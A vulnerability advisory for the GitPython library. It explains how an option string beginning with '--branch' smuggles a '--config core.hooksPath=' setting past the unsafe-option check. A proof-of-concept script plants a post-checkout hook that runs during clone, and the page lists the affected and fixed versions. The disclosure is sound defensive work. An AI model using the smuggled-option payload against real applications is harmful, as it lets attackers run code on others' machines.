GitPython: Unsafe option check validates multi_options before shlex.split transformation
Summary
_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.
Details
The vulnerable code is in git/repo/base.py line 1383:
multi = shlex.split(" ".join(multi_options))
Then validation runs on the original list at line 1390:
Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)
Then execution uses the transformed result at line 1392:
proc = git.clone(multi, "--", url, path, ...)
The check at git/cmd.py line 959 uses startswith:
if option.startswith(unsafe_option) or option == bare_option:
"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.
Also affects Submodule.update() via clone_multi_options.
PoC
import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))
from git import Repo
from git.exc import UnsafeOptionError
try:
Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
print("multi_options=['--config', '...']: Block as expected")
except Exception:
pass
DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"
if not SRC.exists():
SRC.mkdir(parents=True)
r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
r("git", "init", "-b", "main")
(SRC / "f").write_text("x\n")
r("git", "add", ".")
r("git", "commit", "-m", "init")
HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)
LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()
try:
Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
pass
if not LOG.exists() and DST.exists():
subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)
print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
print(LOG.read_text().strip())
Output:
multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked
Hook executed: True
texugo
DESKTOP-5w5HH79
Impact
Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | gitpython | < 3.1.47 | 3.1.47 |
References
- https://www.tenable.com/cve/CVE-2026-32686
- https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47
- https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485
- https://nvd.nist.gov/vuln/detail/CVE-2026-42284
- https://github.com/gitpython-developers/GitPython
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-88- Platform
- Python (PyPI)
- Package
gitpython- Disclosed
- 25.04.2026
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2161 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-x2qx-6953-8485 - CC BY 4.0
Vulnerability history: gitpython
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 37
- First → latest
- 12.2022 09.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 3
- High 26
- Medium 8
Disclosures per year
- 2022: 1
- 2023: 3
- 2024: 1
- 2025: 0
- 2026: 32
-
GitPython: Unsafe option check validates multi_options before shlex.split transformation this entry
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